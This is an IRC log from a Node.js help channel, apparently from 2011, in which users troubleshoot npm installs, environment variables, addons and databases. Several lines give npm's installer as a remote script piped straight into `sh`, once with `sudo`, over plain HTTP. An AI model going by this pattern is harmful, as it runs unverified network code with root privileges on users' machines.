[00:00] V1 has joined the channel [00:01] Nuck: DrMcKay: You ever gonna add colors to dmkbot's messages? [00:01] amigojapan has joined the channel [00:02] teknopaul1 has joined the channel [00:02] MrNko has joined the channel [00:02] `3rdEden has joined the channel [00:02] kiffness has joined the channel [00:03] MrNko has joined the channel [00:04] _bat has joined the channel [00:05] ditesh|cassini has joined the channel [00:06] DrMcKay: Nuck: it has colors [00:06] DrMcKay: Nuck: well, it has bold [00:06] DrMcKay: Nuck: yeah, I will [00:06] Nuck: DrMcKay: Should color it like CIA-69 is :P [00:07] mikeal has joined the channel [00:07] Nuck: 7joyent/node*10nuckchorris0* Test [00:08] Nuck: Like dat. [00:08] Nuck: But not so shit [00:08] Nuck: `3rdEden: I think the issue with iPhone crashing from socket.io is from the WebSocket + Proxy issue in Safari itself [00:08] DrMcKay: Nuck: k, I will look into it [00:08] Nuck: I assume 3G acts like a proxy [00:09] `3rdEden: ooooh Nuck [00:09] topaxi has joined the channel [00:10] Nuck: `3rdEden: Maybe a kludge should be put in place to account for Safari and not do WebSockets on it? [00:10] Nuck: 'cause that's a pretty nasty bug [00:10] `3rdEden: Yup [00:10] brianseeders has joined the channel [00:11] hij1nx has joined the channel [00:11] eee_c has joined the channel [00:12] dmkbot: joyent/node: kuebk: Unexpected behavior of console.log under certain condition - https://github.com/joyent/node/issues/1634 [00:12] thinkjson: Is there a way to have an app listen on whatever port the OS provides, and then print that to the console? [00:13] Nuck: thinkjson: I do $ PORT=3000 node app.js [00:13] Nuck: And then call on process.env.PORT [00:13] Nuck: To grab the port [00:16] CarterL has joined the channel [00:16] thinkjson: hmm [00:16] thinkjson: I know that if you do port 0 the OS assigns a random one [00:16] thinkjson: I just don't know how to get the port back from the app object [00:17] Nuck: thinkjson: well, that's up to you [00:20] bolden has joined the channel [00:20] mrdoodles has joined the channel [00:22] [[zz]] has joined the channel [00:22] LordMetroid: Anyone used weld.js [00:24] abjorn has joined the channel [00:24] mrdoodles: can anyone think of a reason for not being able to access process.env.X [00:24] mrdoodles: ? [00:24] JakeyChan has joined the channel [00:25] LordMetroid: mrdoodles: X does not exist? [00:25] LordMetroid: Have you required process [00:25] mrdoodles: ahh [00:25] mrdoodles: duh [00:25] mrdoodles: minimalism hits hard! [00:25] LordMetroid: sorry, process should not be required [00:26] mrdoodles: hmm [00:26] mrdoodles: any ideas? if i echo $SALT i get my val. [00:26] mrdoodles: as far as i can tell, nothing has changed - except the js? [00:27] CIA-69: libuv: 03Luis Lavena 07master * r6422a14 10/ src/win/loop-watcher.c : [00:27] CIA-69: libuv: windows: correct a preprocessor typo [00:27] CIA-69: libuv: GCC chokes on ##name## concatenation (since . and prepare are invalid [00:27] CIA-69: libuv: tokens) - http://git.io/PYYRGg [00:27] mrdoodles: i've created some of my own libraries etc broken it up a bit but within my main express app.'s file … undefined :/ [00:27] Nuck: mrdoodles: Are you setting SALT=thing? [00:27] caolanm has joined the channel [00:28] abiii has joined the channel [00:28] mrdoodles: yeah Nuck - basically it worked and now it doesn't not sure what changed. [00:28] mrdoodles: it is exported of course in my .profile export SALT=mySaltblahblah [00:29] polotek has joined the channel [00:29] dylang has joined the channel [00:30] LordMetroid: ok [00:30] mrdoodles: its just weird :/ [00:30] LordMetroid: It is not weird, there is something wrong [00:31] mrdoodles: obviously. [00:31] LordMetroid: Your code only does what you tell it to do [00:31] ryanfitz has joined the channel [00:31] LordMetroid: And why do you have it minimized? [00:31] mrdoodles: i know dude, not helping [00:31] CIA-69: node: 03Ben Noordhuis 07master * r0df8ffe 10/ (8 files in 3 dirs): uv: upgrade to 6422a14 - http://git.io/dDpyjg [00:31] mrdoodles: meaning meaning modularized excuse me [00:32] mrdoodles: but in terminal, via command line on node, console.log(process.env.SALT) is fine [00:32] LordMetroid: And in your code, how do you use it? [00:33] mrdoodles: it's used in various places. suddenly anything with process.env failed. [00:33] mrdoodles: my code is fine I'm asking why it might fail. [00:33] hybsch has joined the channel [00:33] z6Dabrat_ has joined the channel [00:33] LordMetroid: add some console.log() statements in your code [00:33] LordMetroid: I can not answer why your code fails [00:34] mrdoodles: LordMetroid: you're such a dick bro [00:34] mrdoodles: LordMetroid-- [00:34] v8bot_: mrdoodles has taken a beer from LordMetroid. LordMetroid now has -1 beers. [00:34] LordMetroid: mrdoodles: ohhh [00:34] LordMetroid: I wanted that beer :( [00:34] mrdoodles: hah! [00:35] Nuck: LordMetroid: It's okay, he hasn't taken your schnapps [00:35] LordMetroid: hehe [00:36] booo has joined the channel [00:37] H4ns has joined the channel [00:38] garrensmith has joined the channel [00:39] dmkbot: joyent/node: ry: test/pummel/test-https-large-response.js 5-10x slower with --use-uv - https://github.com/joyent/node/issues/1643 [00:39] dmkbot: joyent/node: ry: test/pummel/test-https-large-response.js 5-10x slower with --use-uv - https://github.com/joyent/node/issues/1643 [00:40] dmkbot: joyent/node: ry: test/pummel/test-https-large-response.js 5-10x slower with --use-uv - https://github.com/joyent/node/issues/1643 [00:40] dmkbot: joyent/node: ry: test/pummel/test-https-large-response.js 2x slower with --use-uv - https://github.com/joyent/node/issues/1643 [00:41] dmkbot has joined the channel [00:41] beppu has joined the channel [00:41] DrMcKay: wait, 5-10x or 2x times? [00:41] mrdoodles: regardless, the issue is diff ENV for root vs. non privileged user, when i changed my port i had to sudo [00:42] mrdoodles: ACTION facepalm [00:43] DrMcKay: uff, it wasn't my bot going nuts [00:45] CIA-69: node: 03Igor Zinkovsky 07master * ree048aa 10/ src/node_file.cc : fix async readdir - http://git.io/44DZyg [00:45] CIA-69: node: 03Igor Zinkovsky 07master * ra3d7782 10/ src/node_file.cc : enable missing fs functions on windows - http://git.io/78enow [00:49] bwinton has joined the channel [00:50] isaacs has joined the channel [00:52] dmkbot: joyent/node: Pita: Can't do process.on('SIGINT' with 0.5.4 on windows - https://github.com/joyent/node/issues/1553 [00:54] LordMetroid: Can I make C addons as part of my program? [00:54] LordMetroid: I want to add a more complete inotify API then what fs.watchFile provides me [00:54] dmkbot: joyent/node: DrPizza: gyp's build files don't set the subsystem to console - https://github.com/joyent/node/issues/1644 [00:55] bnoordhuis: LordMetroid: yes [00:55] bnoordhuis: LordMetroid: there's at least one inotify add-on already btw [00:55] dmkbot: joyent/node: kuebk: Unexpected behavior of console.log under certain condition - https://github.com/joyent/node/issues/1634 [00:56] mikeal has joined the channel [00:57] radiodario has joined the channel [00:57] dnyy has joined the channel [00:57] LordMetroid: bnoordhuis: I know about that node-inotify and node-inotify++ but I prefer to do one more [00:59] LordMetroid: I have read the documentation about C/C++ addones [00:59] LordMetroid: But I am a little bit uncertain, what it entails? [00:59] LordMetroid: Do I have to recompile node with my bindings? [01:00] LordMetroid: I would prefer to simply drop my files in my program's directory and not fiddle with the node executable [01:01] blaenk has joined the channel [01:01] blaenk has joined the channel [01:02] brianseeders has joined the channel [01:03] devongovett has joined the channel [01:03] postwait has joined the channel [01:04] bnoordhuis: LordMetroid: no, no need to recompile node - but you will need to compile your add-on obviously [01:04] Twelve-60 has joined the channel [01:04] thalll has joined the channel [01:06] LordMetroid: What would I do with the after I compiled it? [01:07] bnoordhuis: LordMetroid: with the what? [01:07] brianseeders has joined the channel [01:07] LordMetroid: with what I have compiled [01:08] LordMetroid: Where would it go? [01:08] mikeycgto has joined the channel [01:08] mrdoodles: it depends on your software LordMetroid [01:08] mrdoodles: hah [01:09] mrdoodles: if i have a series of modules i wrote which are not for public, ie our startup that i want to share across the team … instead of /lib/ i … i'd really l ike to package them as modules for peer review yet keep them private, where they install from git etc [01:09] mrdoodles: any ideas on that? [01:09] chjj: LordMetroid, you just require the binary node-waf gave you [01:10] AD7six has joined the channel [01:10] LordMetroid: ok, cool [01:13] jacobolus has joined the channel [01:13] LordMetroid: can the binary be in the cwd of my program? [01:14] prettyrobots has joined the channel [01:15] heavysixer has joined the channel [01:15] liar has joined the channel [01:19] snowinferno has joined the channel [01:21] snowinferno: Hi all, is it possible to make a global variable? For example I'm working on a program that uses multiple modules and in one fo the modules I want to reference something from another module. [01:22] snowinferno: s/fo/of [01:22] hlindset has joined the channel [01:22] hlindset has joined the channel [01:23] tylerstalder has joined the channel [01:23] Sidnicious|Home has joined the channel [01:25] enhydra has joined the channel [01:25] matyr_ has joined the channel [01:27] okuryu has joined the channel [01:28] eboyjr: snowinferno: require("other_module").variable [01:28] snowinferno: ineresting, thansk eboyjr [01:28] NegativeK has joined the channel [01:30] snowinferno: hmmm so i'm a little lacking in terminology, but is it possible to reference a variable from the 'main' script that is requiring a module inside the module? [01:31] blueadept has joined the channel [01:31] snowinferno: e.g. the 'main' script has a variable named foo and inside a module required by 'main' I want to access foo [01:32] bnoordhuis: snowinferno: global.foo? [01:35] H4ns` has joined the channel [01:36] anaio has joined the channel [01:37] DrMcKay: meh, I'm going to sleep [01:38] kon_: good night :) [01:38] brianseeders has joined the channel [01:39] DrMcKay: kon_: thanks [01:42] pen has joined the channel [01:43] blaenk has joined the channel [01:43] blaenk has joined the channel [01:43] Brian` has joined the channel [01:46] markatto has joined the channel [01:48] raidfive has joined the channel [01:48] balupton has joined the channel [01:48] balupton has left the channel [01:49] JunkYard has joined the channel [01:50] raynos has joined the channel [01:50] AndrewX192 has joined the channel [01:51] guyfawkes303 has joined the channel [01:53] matyr has joined the channel [01:53] Marak: Prometheus: maybe it works now? http://docs.nodejitsu.com/ brb foooooood [01:54] boehm has joined the channel [01:56] Prometheus: Marak: still shows missing for me [01:56] Prometheus: not sure if the ipad safari has a cache though, going to make sure it's not cached [02:00] Prometheus: Marak: not showing up on any of my browsers [02:00] Prometheus: terra, diigo (ichromy) or safari [02:00] kriszyp has joined the channel [02:05] brianseeders has joined the channel [02:08] devongovett has joined the channel [02:08] CIA-69: libuv: 03Bert Belder 07getpeername * rea0beb9 10/ (11 files in 4 dirs): Specialize uv_xxx_getsockname, add uv_tcp_getpeername - http://git.io/Ux1JjA [02:08] smathy has joined the channel [02:11] CIA-69: node: 03Igor Zinkovsky 07master * r29e929d 10/ src/node_file.cc : fix windows build break - http://git.io/o9kHZw [02:12] sounko has joined the channel [02:13] ryanfitz has joined the channel [02:16] kriszyp2 has joined the channel [02:18] nimstr has joined the channel [02:18] andrewfff has joined the channel [02:22] mrdoodles has joined the channel [02:22] Nuck: Ya know [02:22] Nuck: If somebody made a module capable of supporting Mouse inputs in the console, I would write a module that does fillrect and clickrect and such things [02:23] spathi^ has joined the channel [02:23] mrdoodles: Nuck: i have a bunch of modules i've been working from libs I've written since "noding" stoked on publishing them! [02:24] Nuck: It's not that I need a TUI [02:24] Nuck: I just think it'd be cool heh [02:25] mrdoodles: hmm can someone think of a node module thats CLI? [02:25] mrdoodles: looking for an example on something - [02:26] SubStack: mrdoodles: both a lib and a command or just a command? [02:26] mrdoodles: just command ... [02:26] mrdoodles: well uses its classes in its own lib obviously right? but yeah just CLI [02:26] wdperson has joined the channel [02:27] SubStack: mrdoodles: http://search.npmjs.org/#/replace [02:27] igl1 has joined the channel [02:28] mrdoodles: SubStack: dude. perfect example [02:28] mrdoodles: thank you good sir [02:28] wdperson has joined the channel [02:30] dylang has joined the channel [02:32] mrchess has joined the channel [02:32] amiller has joined the channel [02:33] tmpvar has joined the channel [02:33] amigojapan has joined the channel [02:34] CIA-69: libuv: 03Igor Zinkovsky 07fs_link * rdf38443 10/ (7 files in 4 dirs): windows: uv_fs_link + uv_fs_symlink - http://git.io/dE_2gg [02:35] astropirate has joined the channel [02:36] JaKWaC has joined the channel [02:39] dmkbot: joyent/node: tshinnic: add positioned writing feature to fs.WriteStream - https://github.com/joyent/node/issues/1645 [02:42] omolina has joined the channel [02:44] rurufufuss has joined the channel [02:45] arlolra has joined the channel [02:46] CIA-69: libuv: 03Ben Noordhuis 07master * rb680703 10/ src/unix/stream.c : unix: fix warning: implicit declaration of function ‘memcpy’ - http://git.io/u4v36A [02:46] CIA-69: libuv: 03Ben Noordhuis 07master * r18af137 10/ src/unix/error.c : unix: fix warning: implicit declaration of function ‘strerror’ - http://git.io/ou0pXQ [02:48] CIA-69: libuv: 03Bert Belder 07master * r12b01e9 10/ (11 files in 4 dirs): Specialize uv_xxx_getsockname, add uv_tcp_getpeername - http://git.io/DWIloA [02:49] arlolra has left the channel [02:51] joeytwiddle has joined the channel [02:51] CarterL has joined the channel [02:52] nXqd has joined the channel [02:52] amigojapan_ has joined the channel [02:52] enmand has joined the channel [02:53] Dreamer3 has joined the channel [02:53] abiii has joined the channel [02:53] diegoviola has joined the channel [02:54] sullyt has joined the channel [02:56] sullyt has left the channel [02:57] eee_c has joined the channel [02:59] harthur has joined the channel [03:08] bolden has joined the channel [03:10] kenperkins has joined the channel [03:10] mynameisb has joined the channel [03:17] omolina has joined the channel [03:17] justinTNT has joined the channel [03:17] abiii_ has joined the channel [03:19] kmiyashiro has joined the channel [03:21] febits has joined the channel [03:22] matyr_ has joined the channel [03:22] Nuck: HTML Emails are icky [03:22] Nuck: So much abuse of [03:23] Yuffster_work has joined the channel [03:24] ceej has joined the channel [03:24] schwab has joined the channel [03:27] jakehow__ has joined the channel [03:27] jakehow_ has joined the channel [03:27] jakehow has joined the channel [03:28] harthur has joined the channel [03:30] jamescarr has joined the channel [03:31] jamescarr: I have this client with an ubuntu9 server on it and there is so much custom shit on it I am afraid to upgrade. Can't apt-get g++ because it's out of date. ;) [03:31] skm has joined the channel [03:31] jamescarr: is it possibly for me to just copy a node binary out there? :) [03:34] jacobolus has joined the channel [03:35] Spion_ has joined the channel [03:37] jamescarr: hahahha [03:38] jamescarr: it does [03:41] AvianFlu has joined the channel [03:41] JaKWaC has joined the channel [03:41] febits has joined the channel [03:42] CIA-69: libuv: 03Igor Zinkovsky 07fs_link * rba43737 10/ (include/uv-private/uv-win.h src/win/fs.c): don't set uv lasterror from threadpool threads - http://git.io/M-5WDw [03:42] supernaut has joined the channel [03:43] supernaut: can anyone help with an error that i keep getting with Node.js? [03:44] dmkbot: joyent/node: kilianc: Assertion failed: (0 && "implement me"), function uv_fs_readlink, file src/unix/fs.c, line 500. Abort trap: 6 - https://github.com/joyent/node/issues/1638 [03:46] supernaut: it seems as though the .length property doesnt exist [03:46] supernaut: here is the error that node is kicking out [03:47] supernaut: url.js:94 for (var i = 0, l = rest.length; i < l; i++) { ^ TypeError: Cannot read property 'length' of undefined at Object.urlParse [as parse] (url.js:94:27) at Server. (/home/ubuntu/example.js:6:22) at Server.emit (events.js:67:17) at HTTPParser.onIncoming (http.js:1134:12) at HTTPParser.onHeadersComplete (http.js:108:31) at Socket.ondata (http.js:1029:22) at Soc [03:48] ryanRT: thats because rest is undefined and has no length [03:49] shipit has joined the channel [03:50] supernaut: ok. but if that variable is undefined inside the url.js file then it seems to me that would be a node.js bug, would you agree? [03:53] jamescarr: EACCES, Permission denied '../lib/node_modules/npm/bin/npm.js' [03:53] jamescarr: ycuk [03:54] chjj: wow, the man himself is on github [03:54] matyr has joined the channel [03:54] jamescarr: dont want tu do it as sudo, dont understand why it is using ../lib [03:54] jamescarr: rather than /usr/local/lob [03:55] kriszyp has joined the channel [03:56] supernaut has left the channel [03:58] frewsxcv has joined the channel [03:58] frewsxcv: my friend was showing me this cool nodejs module that generates HTML, but a simpler, non SGML version of HTML that looks really nice. any ideas what it's called? [03:59] fangel has joined the channel [03:59] chjj: "non-SGML version of html"? [04:00] frewsxcv: well, it's not html, it's syntax that resembles the HTML tags, and generates HTML [04:00] ryanRT: jade [04:00] frewsxcv: thanks ryanRT [04:00] chjj: yeah, you might be referring to some kind of templating language [04:00] kuebk has joined the channel [04:00] frewsxcv: templating, that's the word i'm looking for [04:01] tomtomaso has joined the channel [04:01] ditesh|cassini has joined the channel [04:02] tbranyen: http://combyne.github.com/ << best templating ever i swear, *not biased* [04:03] bengrue has joined the channel [04:03] dmkbot: joyent/libuv: DrPizza: Fs link - https://github.com/joyent/libuv/issues/176 [04:06] sivy has joined the channel [04:06] dmkbot: joyent/node: Pita: Can't do process.on('SIGINT' with 0.5.4 on windows - https://github.com/joyent/node/issues/1553 [04:07] JSManiacs has joined the channel [04:08] a_suenami has joined the channel [04:09] mike5w3c_ has joined the channel [04:12] Daegalus: frewsxcv: there is also Jade that you can look into. http://jade-lang.com/ [04:14] CStumph has joined the channel [04:17] eee_c1 has joined the channel [04:22] matyr has joined the channel [04:22] fangel has joined the channel [04:24] dmkbot: joyent/node: Pita: Can't do process.on('SIGINT' with 0.5.4 on windows - https://github.com/joyent/node/issues/1553 [04:26] nimstr has joined the channel [04:27] gazumps has joined the channel [04:28] dmkbot: joyent/node: Pita: Can't do process.on('SIGINT' with 0.5.4 on windows - https://github.com/joyent/node/issues/1553 [04:29] cognominal has joined the channel [04:30] mrdoodles has joined the channel [04:30] piscisaureus has joined the channel [04:30] mrdoodles: what's my best bet for my node module reading to/from a json file inside of it? [04:30] mrdoodles: looking to use no modules if possible? [04:31] Daegalus: if i remember right, node has built in JSON parsing, using JSON.parse [04:31] Daegalus: and reading files from the disk using fs. [04:33] mrdoodles: cool thx [04:34] captain_morgan has joined the channel [04:35] af_ has joined the channel [04:35] dmkbot: joyent/node: Pita: Can't do process.on('SIGINT' with 0.5.4 on windows - https://github.com/joyent/node/issues/1553 [04:38] Peniar has joined the channel [04:44] yept has joined the channel [04:45] jhurliman has joined the channel [04:46] robbiet480 has joined the channel [04:46] robbiet480: Can someone help me pick the correct database for my project? [04:47] robbiet480: I am a total node.js noobie, could use some help [04:47] jamescarr: robbiet480, just use mongoose + mongodb [04:47] robbiet480: Whats the learning curve like on that? [04:48] Daegalus: the same as any other database [04:49] robbiet480: NoSQL based I see [04:49] Daegalus: ya [04:49] robbiet480: hopefully won't be too hard coming from MySQL [04:49] Daegalus: different mind set. Everything is stored as JSON documents [04:49] robbiet480: i do like me some json [04:49] robbiet480: Okay, I'll try it, thanks jamescarr/Daegalus [04:50] robbiet480: oh, best MongoDB hosted provider? [04:50] Daegalus: its why mongo is the prefered atm, since it is JSON or BSON and very easy to interface with a javascript [04:50] robbiet480: I am on Heroku right now which offers MongoLab and MongoHQ iirc [04:50] diegoviola: i'm really fed up with rails [04:50] Daegalus: http://www.mongodb.org/display/DOCS/Hosting+Center [04:50] jamescarr: robbiet480, either [04:50] Daegalus: that should help robbiet480 [04:50] jamescarr: I have used monghq [04:50] robbiet480: Ok [04:50] nitinb has joined the channel [04:51] Daegalus: This reminds me, which is the better adapter to use, Mongoose or Mongoskin? [04:51] robbiet480: MongoLab provides more storage for free, so I guess I will go with them [04:51] robbiet480: also, I am interested in the answer to Daegalus's question [04:53] harthur has joined the channel [04:54] jamescarr has left the channel [04:54] nerdy has joined the channel [04:54] tk has joined the channel [04:54] socketio\test\01 has joined the channel [04:55] snowinferno: I'm having a little trouble with closing an http Server. I check whether it has any connections and if it does have connections i close the server and get an error from Node saying the server is not running. What is the best way to find out if the http server is running? [04:56] socketio\test\62 has joined the channel [04:57] Croms_ has joined the channel [04:58] tomtomaso has joined the channel [04:58] antubis has joined the channel [05:00] caffine has joined the channel [05:00] mattp_ has joined the channel [05:00] FiveLemon has joined the channel [05:00] alexhanh has joined the channel [05:01] Gregor has joined the channel [05:02] dmkbot: joyent/node: kilianc: Assertion failed: (0 && "implement me"), function uv_fs_readlink, file src/unix/fs.c, line 500. Abort trap: 6 - https://github.com/joyent/node/issues/1638 [05:04] matyr has joined the channel [05:05] dmkbot: joyent/node: Pita: Can't do process.on('SIGINT' with 0.5.4 on windows - https://github.com/joyent/node/issues/1553 [05:07] socketio\test\54 has joined the channel [05:09] CIA-69: node: 03koichik 07v0.4 * rfdbfc9c 10/ (lib/net.js test/simple/test-net-large-string.js): [05:09] CIA-69: node: net: Socket write encoding case sensitivity [05:09] CIA-69: node: Fixes #1586. - http://git.io/BqQo2w [05:12] amigojapan has joined the channel [05:12] ptlo has joined the channel [05:13] ceej has joined the channel [05:15] MUILTFN has joined the channel [05:18] socketio\test\48 has joined the channel [05:24] schwab has joined the channel [05:25] zeiris has joined the channel [05:26] ingenthr has joined the channel [05:28] Nuck: 3rd-eden deserves to win so I can buy his product :3 [05:28] Nuck: Also, when does voting end? [05:28] snowinferno: hmm it seems if the page is left open in a browser, the http server doesn't emit the end event, is there a way to programatically force the http server to end? [05:30] socketio\test\35 has joined the channel [05:31] binarychef has joined the channel [05:32] dmkbot: joyent/node: mudukutore: Adding environment variable to override default run-time library paths. - https://github.com/joyent/node/issues/1587 [05:38] astropirate has joined the channel [05:38] kar has joined the channel [05:40] jamescarr has joined the channel [05:40] fairwinds has joined the channel [05:45] __sorin_1 has joined the channel [05:48] socketio\test\23 has joined the channel [05:52] socketio\test\26 has joined the channel [05:56] jamescarr: mkdir views/admin [05:56] jamescarr: vim views/admin/index.jade [05:56] jamescarr: shit [05:56] cnnr has joined the channel [05:56] davve: jamescarr: lol [05:57] mrdoodles has joined the channel [05:57] jamescarr: yeah... I was looking at another monitor :) [05:57] mrdoodles: hey isaacs are you around? [05:57] davve: jamescarr: try /exec before [05:57] isaacs: mrdoodles: yeah [05:57] mrdoodles: or anyone, i started packaging my libraries I've been writing into modules. I'm trying to publish my first one - "npm publish myModuleDir" [05:58] isaacs: mrdoodles: just run `npm publish` in the root of the project (where the package.json lives) [05:58] smtlaissezfaire_ has joined the channel [05:58] isaacs: mrdoodles: but specifying a folder should work, as long as it's the path to a package [05:59] mrdoodles: yeah i tried both methods, let me paste the output one sec [05:59] isaacs: gist it [05:59] isaacs: or pastie [05:59] mrdoodles: http://pastebin.com/YEx56Exq [06:01] ditesh|cassini has joined the channel [06:02] isaacs: ah [06:02] isaacs: ircretary: inst mrdoodles [06:02] ircretary: mrdoodles: `curl http://npmjs.org/install.sh | sh` (or, if there are permission issues, you can try: `curl http://npmjs.org/install.sh | sudo sh`) [06:02] isaacs: mrdoodles: is a bug. fixed in 1.0.27 [06:02] mrdoodles: ahh very cool [06:03] CIA-69: libuv: 03Igor Zinkovsky 07fs_link * r37cfb5e 10/ (8 files in 5 dirs): windows: uv_fs_link + uv_fs_symlink - http://git.io/Cj79VA [06:03] CIA-69: libuv: 03Peter Bright 07fs_link * rd59baae 10/ (common.gypi src/win/fs.c src/win/winapi.h test/test-fs.c): [06:03] CIA-69: libuv: Bring inline with node common.gypi. [06:03] CIA-69: libuv: Win32 readlink() - http://git.io/n1q-5A [06:04] ant0no has joined the channel [06:05] simenbrekken has joined the channel [06:06] mrdoodles: isaacs: this is my error, even with sudo http://pastebin.com/jr3JG5Tc [06:07] isaacs: mrdoodles: you're sudoing the curl. you need to sudo the sh [06:07] isaacs: ircretary: inst mrdoodles [06:07] isaacs: ircretary: hello? [06:07] ircretary: isaacs: Hello :) [06:07] isaacs: ircretary: inst mrdoodles [06:08] isaacs: i guess she doesn't like to be repetitive ;) [06:08] mrdoodles: hah [06:08] isaacs: but yeah, copy and paste from above ^ [06:09] mrdoodles: lovely [06:10] mrdoodles: ACTION smiles [06:10] mrdoodles: mrdoodles++ [06:10] v8bot_: mrdoodles: Don't cheat! You can't give a beer to yourself. [06:10] catb0t: mrdoodles now has 1 beer [06:10] snowinferno: Any tips on forcing an http server to close all connections and completely end? [06:11] skunkape: snowinferno, http://nodejs.org/docs/v0.4.11/api/all.html#server.close [06:13] snowinferno: skunkape: I tried that, it remains open and running for a time before node fully exits [06:13] snowinferno: skunkape: I also tried to force the http server to emit the end event [06:13] skm has joined the channel [06:14] socketio\test\86 has joined the channel [06:15] mrdoodles: if i'm trying to read a file, why would i (sometimes) get this error : Error: EBADF, Bad file descriptor [06:16] mrdoodles: fs.readFileSync("../projectDirAbove/file.js" [06:16] zackattack has joined the channel [06:16] zackattack: zemanel: [06:16] zackattack: hey [06:16] zackattack: i heard good things about you mang [06:16] zackattack: you know bemmu sepokeoen [06:16] zackattack: sepponen *** [06:16] zackattack: nice guy [06:16] zackattack: i won $20 off him once in a bet [06:17] zemanel: zackattack: hi [06:17] skoom has joined the channel [06:18] zemanel: if it was about that time i had to run out naked off aneighbours windows [06:18] zemanel: it wasnt me [06:18] zemanel: ;-P [06:19] skunkape: does express.methodOverride() also override the form action? is ther a way to stop this behavior? I'm using express-resource and I exprect to recieve the put on /blog/:id and that is set in the form's action. However, the request is actuall going to /blog/:id/edit [06:21] mrdoodles: anyone on reading a file a directory up and getting bad file descriptor? Error: EBADF, Bad file descriptor [06:21] mrdoodles: ie "../dir/file.js" [06:22] cnnr: hey all, for some reason npm won't install for me. I'm on OS X Lion and just did a fresh uninstall/install of a stable version of node, following the instructions on github, but when i run the curl one-line install command on npm's website, it executes fine and doesn't throw any errors (in face, it says "It worked" at the end), but the npm command isn't available... [06:23] ant0no has joined the channel [06:24] dmkbot: joyent/node: ry: test/pummel/test-https-large-response.js 2x slower with --use-uv - https://github.com/joyent/node/issues/1643 [06:24] isaacs: cnnr: run it again, but put `npm_debug=1` in front of the `sh` [06:25] isaacs: cnnr: curl http://npmjs.org/install.sh | clean=no npm_debug=1 sh [06:25] zackattack: yo [06:25] zackattack: zemanel: [06:25] isaacs: cnnr: my suspicion is that it's not going into the path, or that you just have to run `hash -r` to get it [06:25] zackattack: take a look at my node application [06:25] zackattack: https://github.com/zackster/CompassionPit--Node-/ [06:26] zackattack: also follow me on twitter [06:26] zemanel: lol [06:26] zackattack: i'm spending more time talking there [06:26] zackattack: it's way more fun [06:26] zemanel: ok :) [06:26] zackattack: @zburt [06:26] zackattack: @compassionpit too [06:26] zackattack: whats your twitter handle. [06:26] zemanel: zemanel [06:26] cnnr: isaacs: it just ran all the way through, and showed "It Worked" towards the end of that. i guess it's just not in my path. one sec... [06:28] isaacs: cnnr: run it with the npm_debug=1 env flag set like i just pasted. that'll dump tons of crap. gist that crap. we will sift through it. [06:28] zemanel: zackattack: yep it take a look later on [06:28] zemanel: its 7am [06:28] isaacs: i did NOT expect html docs in npm to make me this happy. [06:28] isaacs: this is insane. [06:28] Emmanuel__ has joined the channel [06:29] cnnr: i can't find it anywhere - not sure where it would have installed. it says it worked though. i also tried installing straight from the repo with no luck [06:29] cnnr: running which npm returns nothing [06:29] Aphelion has joined the channel [06:29] isaacs: cnnr: run this: curl http://npmjs.org/install.sh | npm_debug=1 sh [06:30] isaacs: cnnr: i *guarantee* it will dump *tons* of stuff to stderr, or never reach the "it worked" line [06:33] cnnr: isaacs: here's the output: https://gist.github.com/3b7aaa1526ca65e450b5 - i see a few errors, about no such file or directory. but nothing too prevalent... [06:33] cnnr: thank you very much for your help by the way [06:35] TheJH has joined the channel [06:35] TheJH has joined the channel [06:36] isaacs: cnnr: p [06:36] isaacs: np [06:36] isaacs: cnnr: so, this is really odd. it's installing it into your tmp folder [06:37] isaacs: cnnr: is there anything funky in /Users/connormontgomery/.npmrc? (don't paste any "auth" entries, those are secrets) [06:37] amigojapan has joined the channel [06:37] isaacs: cnnr: is there maybe a "prefix" in there or something? [06:37] isaacs: one would expect npm to deposit itself in /Users/connormontgomery/local/node/bin/ [06:37] cnnr: isaacs: all that's in that file is ' prefix =' and then a line break [06:38] isaacs: cnnr: that's problematic. remove that line [06:38] cnnr: remved [06:39] isaacs: also /Users/connormontgomery/local/node/etc/npmrc [06:39] isaacs: any prefixes in there? [06:39] cnnr: there's no /etc directory inside of .../local/node/ [06:40] cnnr: isaacs: only bin/, include/, lib/, and share/ [06:40] isaacs: k, that's fine [06:40] isaacs: run the curl | sh again [06:40] cnnr: cool [06:40] cnnr: right on [06:40] isaacs: can do curl | clean=no sh to speed it up a little [06:41] cnnr: isaacs: you rock. [06:41] cnnr: thank you so much [06:41] cnnr: all fixed [06:41] amigojapan_ has joined the channel [06:41] jacobolus has joined the channel [06:43] jacobolus has joined the channel [06:44] shipit has joined the channel [06:49] blueadept has joined the channel [06:49] blueadept has joined the channel [06:49] davidbanham has joined the channel [06:50] temp01 has joined the channel [06:55] antono has joined the channel [06:55] isaacs: cnnr: awesome [07:01] stephank` has joined the channel [07:01] AAA_awright_ has joined the channel [07:01] a_meteor has joined the channel [07:01] sbrekken has joined the channel [07:03] zpao- has joined the channel [07:04] rogerraymond has joined the channel [07:04] robinduckett has joined the channel [07:04] yorick has joined the channel [07:04] leonh has joined the channel [07:04] SvenDowideit has joined the channel [07:05] ryah has joined the channel [07:05] konobi has joined the channel [07:05] __directory has joined the channel [07:06] z6Dabrata has joined the channel [07:06] openpercept has joined the channel [07:06] febits has joined the channel [07:08] confoocious has joined the channel [07:08] confoocious has joined the channel [07:11] MrNibbles has joined the channel [07:11] stisti has joined the channel [07:15] mikeal has joined the channel [07:15] matyr_ has joined the channel [07:16] Wizek has joined the channel [07:17] dmkbot: joyent/node: kilianc: Assertion failed: (0 && "implement me"), function uv_fs_readlink, file src/unix/fs.c, line 500. Abort trap: 6 - https://github.com/joyent/node/issues/1638 [07:18] dexter_e has joined the channel [07:19] mrdoodles has joined the channel [07:19] Nuck: haha [07:19] Nuck: I just broke my iPhone [07:19] Nuck: I dragged Safari off the springboard [07:19] Nuck: Then dragged iPod ontop of it [07:20] Nuck: And it disappeared [07:20] dexter_e has joined the channel [07:20] mrdoodles: isaacs: thx again, night! [07:21] jamescarr: anyone know why req.flash('info', 'foo') wouldnt display anything in a template when using - messages() ? [07:22] Nuck: I can't believe I found a glitch in iOS itself :D [07:23] Nuck: I am a fucking glitch magnet these days [07:24] matyr has joined the channel [07:25] guyfawkes303 has joined the channel [07:25] dave has joined the channel [07:26] dave2081: hello [07:26] dave2081: is anyone out there? I am having a time installing NPM [07:26] dave2081: on Ubuntu 11.04 [07:26] isaacs: gist the log, plz [07:27] dave2081: what does that mean? [07:28] isaacs: it means, copy the output, and paste it to http://gist.github.com, and then share the link in here. [07:28] isaacs: or pastie, if you prefer [07:29] dexter_e: anyone know the proper way to get your HTML back out of JSDOM ? [07:30] meatmanek has joined the channel [07:31] synkro has joined the channel [07:32] dave2081: cool, thanks. 